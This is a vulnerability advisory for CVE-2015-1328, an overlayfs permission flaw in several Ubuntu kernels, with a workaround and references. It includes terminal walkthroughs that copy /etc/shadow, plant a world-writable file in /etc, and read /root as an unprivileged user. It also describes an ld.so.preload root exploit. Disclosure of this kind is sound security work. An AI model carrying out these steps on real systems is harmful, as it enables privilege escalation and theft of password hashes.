The overlayfs filesystem does not correctly check file permissions when creating new files in the upper filesystem directory. This can be exploited by an unprivileged process in kernels with CONFIG_USER_NS=y and where overlayfs has the FS_USERNS_MOUNT flag, which allows the mounting of verlayfs inside unprivileged mount namespaces. This is the default configuration of Ubuntu 12.04, 14.04, 14.10, and 15.04 [1]. If you don't want to update your kernel and you don't use overlayfs, a viable workaround is to just remove or blacklist overlayfs.ko / overlay.ko. Details ================================ >From Documentation/filesystems/overlayfs.txt [2]: "Objects that are not directories (files, symlinks, device-special files etc.) are presented either from the upper or lower filesystem as appropriate. When a file in the lower filesystem is accessed in a way the requires write-access, such as opening for write access, changing some metadata etc., the file is first copied from the lower filesystem to the upper filesystem (copy_up)." The ovl_copy_up_* functions do not correctly check that the user has permission to write files to the upperdir directory. The only permissions that are checked is if the owner of the file that is being modified has permission to write to the upperdir. Furthermore, when a file is copied from the lowerdir the file metadata is carbon copied, instead of attributes such as owner being changed to the user that triggered the copy_up_* procedures. Example of creating a 1:1 copy of a root-owned file: (Note that the workdir= option is not needed on older kernels) user@...ntu-server-1504:~$ ./create-namespace root@...ntu-server-1504:~# mount -t overlay -o lowerdir=/etc,upperdir=upper,workdir=work overlayfs o root@...ntu-server-1504:~# chmod 777 work/work/ root@...ntu-server-1504:~# cd o root@...ntu-server-1504:~/o# mv shadow copy_of_shadow (exit the namespace) user@...ntu-server-1504:~$ ls -al upper/copy_of_shadow -rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow user@...ntu-server-1504:~$ stat upper/copy_of_shadow /etc/shadow|grep Inode Device: 801h/2049d Inode: 939791 Links: 1 Device: 801h/2049d Inode: 277668 Links: 1 Now we can place this file in /etc by switching "upper" to be the lowerdir option, the permission checks pass since the file is owned by root and root can write to /etc. user@...ntu-server-1504:~$ ./create-namespace root@...ntu-server-1504:~# mount -t overlay -o lowerdir=upper,upperdir=/etc,workdir=work overlayfs o root@...ntu-server-1504:~# chmod 777 work/work/ root@...ntu-server-1504:~# cd o root@...ntu-server-1504:~/o# chmod 777 copy_of_shadow root@...ntu-server-1504:~/o# exit user@...ntu-server-1504:~$ ls -al /etc/copy_of_shadow -rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow The attached exploit gives a root shell by creating a world-writable /etc/ld.so.preload file. The exploit has been tested on the most recent kernels before 2015-06-15 on Ubuntu 12.04, 14.04, 14.10 and 15.04. It is also possible to list directory contents for any directory on the system regardless of permissions: nobody@...ntu-server-1504:~$ ls -al /root ls: cannot open directory /root: Permission denied nobody@...ntu-server-1504:~$ mkdir o upper work nobody@...ntu-server-1504:~$ mount -t overlayfs -o lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work overlayfs /home/user/o nobody@...ntu-server-1504:~$ ls -al o 2>/dev/null total 8 drwxrwxr-x 1 root nogroup 4096 May 24 16:33 . drwxr-xr-x 8 root nogroup 4096 May 24 16:33 .. -????????? ? ? ? ? ? .bash_history -????????? ? ? ? ? ? .bashrc d????????? ? ? ? ? ? .cache -????????? ? ? ? ? ? .lesshst d????????? ? ? ? ? ? linux-3.19.0 Credit ================================ Philip Pettersson, Samsung SDS Security Center References ================================ [1] https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/vivid/commit/?id=78ec4549 [2] https://www.kernel.org/doc/Documentation/filesystems/overlayfs.txt [3] http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html